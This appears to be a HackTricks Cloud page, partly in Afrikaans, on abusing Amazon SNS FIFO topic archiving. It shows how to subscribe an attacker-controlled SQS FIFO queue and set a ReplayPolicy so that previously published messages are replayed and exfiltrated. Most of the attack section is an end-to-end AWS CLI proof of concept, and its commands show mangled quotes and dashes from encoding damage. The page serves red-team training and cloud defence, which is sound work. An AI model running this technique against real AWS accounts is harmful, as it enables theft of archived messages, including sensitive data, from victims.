SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Misbruik van Amazon SNS FIFO topic message archiving om previously published messages te replay en exfiltrate na ân attacker-controlled SQS FIFO queue deur die subscription ReplayPolicy te stel.
- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages.
- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope.
Voorvereistes
- SNS FIFO topic with archiving enabled:
ArchivePolicy(e.g.,{ "MessageRetentionPeriod": "2" }for 2 days). - Attacker has permissions to:
sns:Subscribeon the target topic.sns:SetSubscriptionAttributeson the created subscription.
- Attacker has an SQS FIFO queue and can attach a queue policy allowing
sns:SendMessagefrom the topic ARN.
Minimale IAM-permissies
- On topic:
sns:Subscribe. - On subscription:
sns:SetSubscriptionAttributes. - On queue:
sqs:SetQueueAttributesfor policy, and queue policy permittingsns:SendMessagefrom the topic ARN.
Aanval: Replay archived messages to attacker SQS FIFO
Die attacker subscribe hulle SQS FIFO queue aan die victim SNS FIFO topic, en stel dan die ReplayPolicy na ân timestamp in die verlede (binne die archive retention window). SNS replay onmiddellik die ooreenstemmende archived messages na die nuwe subscription en merk hulle met Replayed=true.
Notes:
- The timestamp used in
ReplayPolicymust be >= the topicâsBeginningArchiveTime. If itâs earlier, the API returnsInvalid StartingPoint value. - For SNS FIFO
Publish, you must specify aMessageGroupId(and either dedup ID or enableContentBasedDeduplication).
End-to-end CLI POC (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic âregion â$REGIONâ
âcli-input-json â{âNameâ:âââ$TOPIC_NAMEâââ,âAttributesâ:{âFifoTopicâ:âtrueâ,âContentBasedDeduplicationâ:âtrueâ,âArchivePolicyâ:â{"MessageRetentionPeriod":"2"}â}}â
âquery TopicArn âoutput text)
echo âTopic: $TOPIC_ARNâ
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âmessage â{"orderId":$i,"secret":"ssn-123-45-678$i"}â
âmessage-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue âqueue-name ht-replay-exfil-q-$(date +%s).fifo
âattributes FifoQueue=true âregion â$REGIONâ âquery QueueUrl âoutput text)
Q_ARN=$(aws sqs get-queue-attributes âqueue-url â$Q_URLâ âregion â$REGIONâ
âattribute-names QueueArn âquery Attributes.QueueArn âoutput text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {âVersionâ:â2012-10-17â,âStatementâ:[{âSidâ:âAllowSNSSendâ,âEffectâ:âAllowâ,âPrincipalâ:{âServiceâ:âsns.amazonaws.comâ},âActionâ:âsqs:SendMessageâ,âResourceâ:â$Q_ARNâ,âConditionâ:{âArnEqualsâ:{âaws:SourceArnâ:â$TOPIC_ARNâ}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes âregion â$REGIONâ âcli-input-json â$(python3 - << âPYâ import json, os print(json.dumps({ âQueueUrlâ: os.environ[âQ_URLâ], âAttributesâ: {âPolicyâ: open(â/tmp/ht-replay-sqs-policy.jsonâ).read()} })) PY )â
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âprotocol sqs ânotification-endpoint â$Q_ARNâ âquery SubscriptionArn âoutput text)
echo âSubscription: $SUB_ARNâ
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ âquery Attributes.BeginningArchiveTime âoutput text) START=${TS_START} if [ -n â$BEGINâ ]; then START=â$BEGINâ; fi
aws sns set-subscription-attributes âregion â$REGIONâ âsubscription-arn â$SUB_ARNâ
âattribute-name ReplayPolicy
âattribute-value â{"PointType":"Timestamp","StartingPoint":"$START"}â
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message âqueue-url â$Q_URLâ âregion â$REGIONâ
âmax-number-of-messages 10 âwait-time-seconds 10
âmessage-attribute-names All âattribute-names All
</details>
## Impak
**PotensiĂ«le Impak**: ân Aanvaller wat op ân SNS FIFO topic kan inteken met argivering geaktiveer, en `ReplayPolicy` op hul subscription kan stel, kan onmiddellik historiese boodskappe wat na daardie topic gepubliseer is, herspeel en eksfiltreer â nie net boodskappe wat nĂĄ die skepping van die subscription gestuur is nie. Afgelewerde boodskappe sluit ân `Replayed=true` vlag in die SNS-envelope in.
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** đŹ [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

